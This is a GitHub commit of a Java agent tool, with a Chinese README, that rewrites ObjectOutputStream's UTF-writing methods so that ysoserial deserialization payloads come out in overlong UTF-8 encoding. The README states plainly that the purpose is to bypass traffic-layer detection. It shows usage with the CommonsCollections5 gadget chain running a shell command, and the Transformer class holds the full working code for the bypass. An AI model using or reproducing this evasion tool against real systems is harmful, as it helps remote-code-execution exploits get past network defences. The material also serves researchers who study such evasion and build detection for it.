-
Notifications
You must be signed in to change notification settings - Fork 7
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 654f008
Showing
8 changed files
with
384 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
target/ | ||
!.mvn/wrapper/maven-wrapper.jar | ||
!**/src/main/**/target/ | ||
!**/src/test/**/target/ | ||
|
||
### IntelliJ IDEA ### | ||
.idea/modules.xml | ||
.idea/jarRepositories.xml | ||
.idea/compiler.xml | ||
.idea/libraries/ | ||
.idea | ||
*.iws | ||
*.iml | ||
*.ipr | ||
|
||
### Eclipse ### | ||
.apt_generated | ||
.classpath | ||
.factorypath | ||
.project | ||
.settings | ||
.springBeans | ||
.sts4-cache | ||
|
||
### NetBeans ### | ||
/nbproject/private/ | ||
/nbbuild/ | ||
/dist/ | ||
/nbdist/ | ||
/.nb-gradle/ | ||
build/ | ||
!**/src/main/**/build/ | ||
!**/src/test/**/build/ | ||
|
||
### VS Code ### | ||
.vscode/ | ||
|
||
### Mac OS ### | ||
.DS_Store |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
# utf8 overlong agent | ||
|
||
使用 agent 替换序列化中的`writeUTF`和`writeUTFBody`函数,从而实现在反序列化时生成utf8 overlong数据,绕过流量层检测。 | ||
|
||
|
||
|
||
# 用法 | ||
|
||
在生成反序列化payload工具启动时添加 javaagent 参数即可 | ||
|
||
```bash | ||
java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success" | ||
``` | ||
|
||
|
||
|
||
![image-20240423164153836](./assets/image-20240423164153836.png) | ||
|
||
|
||
|
||
可以使用base64编码一下,然后拷贝出来使用 | ||
|
||
![image-20240423164533367](./assets/image-20240423164533367.png) | ||
|
||
|
||
|
||
默认采用随机混合2、3字节的utf8 overlong编码,每次生成的payload都不一样 | ||
|
||
![image-20240423164808031](./assets/image-20240423164808031.png) | ||
|
||
|
||
|
||
若想固定使用2或3字节utf8 overlong,指定agent参数即可: | ||
|
||
```bash | ||
# 2 byte | ||
java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar=2 -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success" | ||
|
||
# 3 byte | ||
java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar=3 -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success" | ||
``` | ||
|
||
|
||
|
||
|
||
|
||
# 参考 | ||
|
||
https://en.wikipedia.org/wiki/UTF-8 | ||
|
||
https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html | ||
|
||
https://github.com/Whoopsunix/utf-8-overlong-encoding | ||
|
||
https://t.zsxq.com/ToFaL | ||
|
||
https://t.zsxq.com/Yg2cc |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<project xmlns="http://maven.apache.org/POM/4.0.0" | ||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
<modelVersion>4.0.0</modelVersion> | ||
|
||
<groupId>org.example</groupId> | ||
<artifactId>utf8-overlong-agent</artifactId> | ||
<version>1.0-SNAPSHOT</version> | ||
|
||
<properties> | ||
<maven.compiler.source>8</maven.compiler.source> | ||
<maven.compiler.target>8</maven.compiler.target> | ||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> | ||
</properties> | ||
|
||
<dependencies> | ||
<dependency> | ||
<groupId>org.javassist</groupId> | ||
<artifactId>javassist</artifactId> | ||
<version>3.29.0-GA</version> | ||
</dependency> | ||
|
||
<dependency> | ||
<groupId>org.ow2.asm</groupId> | ||
<artifactId>asm-all</artifactId> | ||
<version>5.2</version> | ||
</dependency> | ||
</dependencies> | ||
|
||
<build> | ||
<plugins> | ||
<plugin> | ||
<groupId>org.apache.maven.plugins</groupId> | ||
<artifactId>maven-assembly-plugin</artifactId> | ||
<version>3.3.0</version> | ||
<configuration> | ||
<descriptorRefs> | ||
<descriptorRef>jar-with-dependencies</descriptorRef> | ||
</descriptorRefs> | ||
<archive> | ||
<manifestEntries> | ||
<Premain-Class>Main</Premain-Class> | ||
<Agent-Class>Main</Agent-Class> | ||
</manifestEntries> | ||
</archive> | ||
</configuration> | ||
|
||
<executions> | ||
<execution> | ||
<id>make-assembly</id> | ||
<phase>package</phase> | ||
<goals> | ||
<goal>single</goal> | ||
</goals> | ||
</execution> | ||
</executions> | ||
</plugin> | ||
</plugins> | ||
</build> | ||
|
||
</project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
/** | ||
* @Author Ar3h | ||
* @Date 2024/4/22 22:37 | ||
*/ | ||
|
||
import java.lang.instrument.Instrumentation; | ||
|
||
public class Main { | ||
public static int BYTE_LENGTH = 0; | ||
|
||
public static void premain(String agentArgs, Instrumentation inst) { | ||
if (agentArgs != null && agentArgs != "") { | ||
try { | ||
BYTE_LENGTH = Integer.valueOf(agentArgs); | ||
} catch (NumberFormatException e) { | ||
throw new RuntimeException("agentArgs set error, only set 2 or 3"); | ||
} | ||
if (BYTE_LENGTH != 2 && BYTE_LENGTH != 3) { | ||
throw new RuntimeException("agentArgs set error, only set 2 or 3"); | ||
} | ||
System.err.println("[agent] set BYTE_LENGTH => " + BYTE_LENGTH); | ||
} | ||
|
||
Class[] classes = inst.getAllLoadedClasses(); | ||
String targetClassName = "java.io.ObjectOutputStream$BlockDataOutputStream"; | ||
|
||
boolean flag = false; | ||
try { | ||
for (Class aClass : classes) { | ||
if (aClass.getName().equals(targetClassName)) { | ||
System.err.println("find class: " + aClass.getName()); | ||
inst.addTransformer(new Transformer(), true); | ||
inst.retransformClasses(aClass); | ||
flag = true; | ||
} | ||
} | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
|
||
if (!flag) { | ||
inst.addTransformer(new Transformer()); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,181 @@ | ||
import javassist.*; | ||
|
||
import java.io.IOException; | ||
import java.lang.instrument.ClassFileTransformer; | ||
import java.lang.instrument.IllegalClassFormatException; | ||
import java.security.ProtectionDomain; | ||
|
||
public class Transformer implements ClassFileTransformer { | ||
|
||
@Override | ||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { | ||
String targetClassName = "java.io.ObjectOutputStream$BlockDataOutputStream"; | ||
String targetClassNameWithSlash = targetClassName.replace(".", "/"); | ||
|
||
// 判断是否是目标类 | ||
if (targetClassNameWithSlash.equals(className)) { | ||
System.err.println("[agent] transform class: " + className); | ||
try { | ||
ClassPool cp = ClassPool.getDefault(); | ||
if (classBeingRedefined != null) { | ||
ClassClassPath classPath = new ClassClassPath(classBeingRedefined); | ||
cp.insertClassPath(classPath); | ||
} | ||
|
||
CtClass cc = cp.get(targetClassName); | ||
cp.importPackage(IOException.class.getName()); | ||
|
||
// 删除 writeUTF 方法 | ||
CtMethod writeUTFMethod = cc.getMethod("writeUTF", "(Ljava/lang/String;J)V"); | ||
cc.removeMethod(writeUTFMethod); | ||
|
||
// 添加 writeUTF 方法 | ||
CtMethod bewWriteUTFMethod; | ||
if (Main.BYTE_LENGTH == 2 || Main.BYTE_LENGTH == 3) { | ||
bewWriteUTFMethod = CtNewMethod.make(" void writeUTF(String s, long utflen) throws IOException {\n" + | ||
" // if (utflen > 0xFFFFL) {\n" + | ||
" // throw new UTFDataFormatException();\n" + | ||
" // }\n" + | ||
" int len = s.length();\n" + | ||
"\n" + | ||
" writeShort((int) (" + Main.BYTE_LENGTH + " * len ));\n" + | ||
" writeUTFBody(s);\n" + | ||
" }", cc); | ||
} else { | ||
bewWriteUTFMethod = CtNewMethod.make(" void writeUTF(String s, long utflen) throws IOException {\n" + | ||
" // if (utflen > 0xFFFFL) {\n" + | ||
" // throw new UTFDataFormatException();\n" + | ||
" // }\n" + | ||
" int len = s.length();\n" + | ||
" int threeByteCount = len / 2 + 1;\n" + | ||
"\n" + | ||
" writeShort((int) (3 * threeByteCount + 2 * (len - threeByteCount)));\n" + | ||
" writeUTFBody(s);\n" + | ||
" }", cc); | ||
} | ||
cc.addMethod(bewWriteUTFMethod); | ||
|
||
|
||
CtMethod randomCallMethod = CtNewMethod.make(" public static boolean randomCall(int remainingPositions, int remainingCalls) {\n" + | ||
"java.util.Random rand = new java.util.Random();" + | ||
"double probability = (double) $2 / $1;" + | ||
"double randomProbability = rand.nextDouble();" + | ||
"return randomProbability < probability;" + | ||
" }", cc); | ||
cc.addMethod(randomCallMethod); | ||
|
||
|
||
// 删除 writeUTFBody 方法 | ||
CtMethod writeUTFBodyMethod = cc.getMethod("writeUTFBody", "(Ljava/lang/String;)V"); | ||
cc.removeMethod(writeUTFBodyMethod); | ||
|
||
|
||
// 添加 writeUTFBody 方法 | ||
CtMethod newWriteUTFBodyMethod; | ||
if (Main.BYTE_LENGTH == 2 || Main.BYTE_LENGTH == 3) { | ||
String boolString = Main.BYTE_LENGTH == 3 ? "true" : "false"; | ||
newWriteUTFBodyMethod = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" + | ||
" int limit = MAX_BLOCK_SIZE - 3;\n" + | ||
" int len = s.length();\n" + | ||
"\n" + | ||
" for (int off = 0; off < len; ) {\n" + | ||
" int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" + | ||
" s.getChars(off, off + csize, cbuf, 0);\n" + | ||
" for (int cpos = 0; cpos < csize; cpos++) {\n" + | ||
" char c = cbuf[cpos];\n" + | ||
" if (pos <= limit) {\n" + | ||
" // if (c <= 0x007F && c != 0) {\n" + | ||
" // buf[pos++] = (byte) c;\n" + | ||
" // } else if (c > 0x07FF) {\n" + | ||
"\n" + | ||
" if (" + boolString + ") {\n" + | ||
" buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + | ||
" buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" + | ||
" buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" + | ||
" pos += 3;\n" + | ||
" } else{\n" + | ||
" buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + | ||
" buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" + | ||
" pos += 2;\n" + | ||
" }\n" + | ||
" } else { // write one byte at a time to normalize block\n" + | ||
" if (c <= 0x007F && c != 0) {\n" + | ||
" write(c);\n" + | ||
" } else if (c > 0x07FF) {\n" + | ||
" write(0xE0 | ((c >> 12) & 0x0F));\n" + | ||
" write(0x80 | ((c >> 6) & 0x3F));\n" + | ||
" write(0x80 | ((c >> 0) & 0x3F));\n" + | ||
" } else {\n" + | ||
" write(0xC0 | ((c >> 6) & 0x1F));\n" + | ||
" write(0x80 | ((c >> 0) & 0x3F));\n" + | ||
" }\n" + | ||
" }\n" + | ||
" }\n" + | ||
" off += csize;\n" + | ||
" }\n" + | ||
" }", cc); | ||
|
||
} else { | ||
newWriteUTFBodyMethod = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" + | ||
" int limit = MAX_BLOCK_SIZE - 3;\n" + | ||
" int len = s.length();\n" + | ||
" int threeByteCount = len / 2 + 1;\n" + | ||
"\n" + | ||
" int count = 0;\n" + | ||
"\n" + | ||
" for (int off = 0; off < len; ) {\n" + | ||
" int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" + | ||
" s.getChars(off, off + csize, cbuf, 0);\n" + | ||
" for (int cpos = 0; cpos < csize; cpos++) {\n" + | ||
" char c = cbuf[cpos];\n" + | ||
" if (pos <= limit) {\n" + | ||
" // if (c <= 0x007F && c != 0) {\n" + | ||
" // buf[pos++] = (byte) c;\n" + | ||
" // } else if (c > 0x07FF) {\n" + | ||
"\n" + | ||
// " if (threeByteCount-- > 0) {\n" + | ||
" if (threeByteCount > 0 && randomCall(len - count, threeByteCount)) {\n" + | ||
" buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + | ||
" buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" + | ||
" buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" + | ||
" pos += 3;\n" + | ||
" threeByteCount--;\n" + | ||
" } else{\n" + | ||
" buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + | ||
" buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" + | ||
" pos += 2;\n" + | ||
" }\n" + | ||
" } else { // write one byte at a time to normalize block\n" + | ||
" if (c <= 0x007F && c != 0) {\n" + | ||
" write(c);\n" + | ||
" } else if (c > 0x07FF) {\n" + | ||
" write(0xE0 | ((c >> 12) & 0x0F));\n" + | ||
" write(0x80 | ((c >> 6) & 0x3F));\n" + | ||
" write(0x80 | ((c >> 0) & 0x3F));\n" + | ||
" } else {\n" + | ||
" write(0xC0 | ((c >> 6) & 0x1F));\n" + | ||
" write(0x80 | ((c >> 0) & 0x3F));\n" + | ||
" }\n" + | ||
" }\n" + | ||
" count++;\n" + | ||
" }\n" + | ||
" off += csize;\n" + | ||
" }\n" + | ||
" }", cc); | ||
|
||
} | ||
cc.addMethod(newWriteUTFBodyMethod); | ||
|
||
System.err.println("[agent] modify success"); | ||
|
||
byte[] bytes = cc.toBytecode(); | ||
cc.detach(); | ||
return bytes; | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
return null; | ||
} | ||
} | ||
return null; | ||
} | ||
} |